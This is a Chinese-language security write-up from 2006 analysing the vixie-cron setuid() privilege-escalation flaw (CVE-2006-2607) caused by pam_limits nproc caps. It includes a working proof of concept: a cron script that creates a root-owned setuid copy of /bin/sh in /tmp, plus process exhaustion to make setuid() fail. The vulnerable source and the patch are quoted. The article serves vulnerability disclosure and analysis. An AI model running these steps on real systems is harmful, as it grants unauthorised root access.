Setuid() - nproc limit 类型漏洞之深入分析 (PST)
---------[ Subject : Setuid() - nproc limit 类型漏洞之深入分析 ] ---------[ Author : axis(axis@ph4nt0m.org) ] ---------[ Copyright : www.ph4nt0m.org www.secwiki.com ] ---------[ Date : 07/20/2006 ] ---------[ Version : 1.0 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x110 - 前言 0x120 - cron提升权限漏洞 0x130 - 深入分析 0x140 - Conclusion 0x150 - Reference
|=-----------------------------------------------------------------------------=|
---------[ 0x110 - 前言 ] 前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值. setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后,讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.
---------[ 0x110 - vixie cron提升权限漏洞 ] 前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞 具体公告参见: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab 如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.
具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4 [axis@localhost temp]$ uname -a Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[axis@localhost temp]$ cat /etc/issue Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m
[axis@localhost temp]$ rpm -qa |grep vixie vixie-cron-4.1-36.EL4
[axis@localhost temp]$ rpm -qa |grep pam pam_ccreds-1-3 pam_smb-1.1.7-5 pam-devel-0.77-66.11 pam-0.77-66.11 pam_passwdqc-0.7.5-2 pam_krb5-2.1.8-1 spamassassin-3.0.4-1.el4 [axis@localhost temp]$
首先修改/etc/security/limits.conf 添加如下行: axis hard nproc 400 这句的意思是把axis用户启动的进程限制为400
然后修改/etc/pam.d/crond 添加如下行: session required pam_limits.so 这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置 所以在这里,cron就会限制axis用户只能运行400个进程了.
然后建立axis需要运行的任务. 建立如下shell脚本
[axis@localhost temp]$ pwd /home/axis/temp [axis@localhost temp]$ cat x.sh #!/bin/sh
cp /bin/sh /tmp/sh chown root:root /tmp/sh chmod 4755 /tmp/sh
sleep 1000000;
[axis@localhost temp]$
该脚本会在/tmp下建立一个suid shell
然后添加到axis的crontab里: [axis@localhost temp]$ crontab -e
* * * * * /home/axis/temp/x.sh ~ ~ ~ ~ 保存退出后,就已经建立好了任务了 [axis@localhost temp]$ crontab -l * * * * * /home/axis/temp/x.sh [axis@localhost temp]$
这样每分钟,就会运行一次x.sh
仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis.
查看下当前用户的进程数 [axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l 4 [axis@localhost temp]$
只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400 那么,使用一些消耗的进程
[axis@localhost temp]$ ./daemon -s 100000 -p 380 创建指定的进程数量,父进程退出。 [axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l 390 [axis@localhost temp]$
daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390
马上就快到400了
[axis@localhost temp]$ ll /tmp total 608 -rwsr-xr-x 1 axis axis 616312 Jul 21 18:26 sh [axis@localhost temp]$
可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的.
过了几分钟后 [root@localhost ~]# ll /tmp total 608 -rwsr-xr-x 1 root root 616312 Jul 21 18:40 sh [root@localhost ~]# ps axun | grep '^ *500 ' | wc -l 400 [root@localhost ~]#
可以看到/tmp/sh变成属主为root了! [root@localhost ~]# ps aufx
......
root 2460 0.0 0.0 3440 512 ? Ss Jul12 0:00 gpm -m /dev/input/mice -t exps2 root 2470 0.0 0.0 6400 1096 ? Ss Jul12 0:00 crond root 6020 0.0 0.0 6984 1444 ? S 18:36 0:00 \_ crond axis 6021 0.0 0.0 3536 848 ? Ss 18:36 0:00 | \_ /bin/sh /home/axis/temp/x.sh axis 6026 0.0 0.0 3040 456 ? S 18:36 0:00 | | \_ sleep 1000000 axis 6024 0.0 0.1 7956 2556 ? S 18:36 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root 6035 0.0 0.0 6984 1444 ? S 18:37 0:00 \_ crond axis 6036 0.0 0.0 3252 844 ? Ss 18:37 0:00 | \_ /bin/sh /home/axis/temp/x.sh axis 6041 0.0 0.0 2576 456 ? S 18:37 0:00 | | \_ sleep 1000000 axis 6039 0.0 0.1 7164 2564 ? S 18:37 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root 6073 0.0 0.0 6984 1444 ? S 18:38 0:00 \_ crond axis 6074 0.0 0.0 3096 848 ? Ss 18:38 0:00 | \_ /bin/sh /home/axis/temp/x.sh axis 6079 0.0 0.0 2456 456 ? S 18:38 0:00 | | \_ sleep 1000000 axis 6077 0.0 0.1 6532 2564 ? S 18:38 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t root 6481 0.0 0.0 6984 1444 ? S 18:39 0:00 \_ crond axis 6482 0.0 0.0 2568 844 ? Ss 18:39 0:00 | \_ /bin/sh /home/axis/temp/x.sh axis 6487 0.0 0.0 2760 456 ? S 18:39 0:00 | | \_ sleep 1000000 root 6485 0.0 0.0 0 0 ? Z 18:39 0:00 | \_ [crond] <defunct> root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000 xfs 2496 0.0 0.0 4228 1416 ? Ss Jul12 0:00 xfs -droppriv -daemon root 2515 0.0 0.0 2024 700 ? Ss Jul12 0:00 /usr/sbin/atd dbus 2525 0.0 0.0 3160 1024 ? Ss Jul12 0:00 dbus-daemon-1 --system root 2538 0.0 0.0 4168 1028 ? Ss Jul12 0:00 cups-config-daemon
......
注意这里! root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000
本来应该是以axis用户身份运行的x.sh,变成以root身份运行了!
---------[ 0x110 - 深入分析 ]
造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去. 但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候,crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!
我们可以看看代码,在do_command.c里:
......
void do_command(entry *e, user *u) { Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n", (long)getpid(), e->cmd, u->name, (long)e->pwd->pw_uid, (long)e->pwd->pw_gid))
/* fork to become asynchronous -- parent process is done immediately, * and continues to run the normal cron code, which means return to * tick(). the child and grandchild don't leave this function, alive. * * vfork() is unsuitable, since we have much to do, and the parent * needs to be able to run off and fork other processes. */ switch (fork()) { case -1: log_it("CRON", getpid(), "error", "can't fork"); break; case 0: /* child process */ acquire_daemonlock(1); child_process(e, u); Debug(DPROC, ("[%ld] child process done, exiting\n", (long)getpid())) _exit(OK_EXIT); break; default: /* parent process */ break; }
......
/* set our directory, uid and gid. Set gid first, since once * we set uid, we've lost root privledges. */ #ifdef LOGIN_CAP { #ifdef BSD_AUTH auth_session_t *as; #endif
......
#else setgid(e->pwd->pw_gid); initgroups(usernm, e->pwd->pw_gid); #if (defined(BSD)) && (BSD >= 199103) setlogin(usernm); #endif /* BSD */ setuid(e->pwd->pw_uid); /* we aren't root after this... */
#endif /* LOGIN_CAP */ chdir(env_get("HOME", e->envp));
注意看这里 setgid(e->pwd->pw_gid); ...... setuid(e->pwd->pw_uid); /* we aren't root after this... */
这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施.
再看看patch就更清楚了
[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch --- vixie-cron-4.1/do_command.c.orig 2006-05-29 16:45:32.000000000 +0200 +++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200 @@ -300,12 +300,24 @@ } } #else - setgid(e->pwd->pw_gid); + initgroups(usernm, e->pwd->pw_gid); #if (defined(BSD)) && (BSD >= 199103) setlogin(usernm); #endif /* BSD */ - setuid(e->pwd->pw_uid); /* we aren't root after this... */ + + if ( setgid(e->pwd->pw_gid) == -1 ) { + fprintf(stderr,"can't set gid for %s\n", e->pwd->pw_name); + _exit(1); + } + + if ( setuid(e->pwd->pw_uid) == -1 ) { + fprintf(stderr,"can't set uid for %s\n", e->pwd->pw_name); + _exit(1); + } + + /* we aren't root after this... */ +
#endif /* LOGIN_CAP */ chdir(env_get("HOME", e->envp)); [root@localhost SOURCES]#
在补丁里,对setuid()和setgid()的返回值都加上了限制.
这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.
在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的. 见:http://www.bress.net/blog/archives/34-setuid-madness.html
其实这是不正确的.
init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2; init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2; 这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系
[root@localhost ~]# ulimit -u 32764 [root@localhost ~]#
每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.
经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork()
---------[ 0x110 - Conclusion ]
综上所述,要成功利用该类型的漏洞,需要满足三个条件: 1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权 2) setuid()失败,但是程序并未检查setuid()的返回值 3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.
pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!
最后感谢 thiefox,gary
---------[ 0x110 - Reference ]
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431 http://www.bress.net/blog/archives/34-setuid-madness.html
-EOF-
|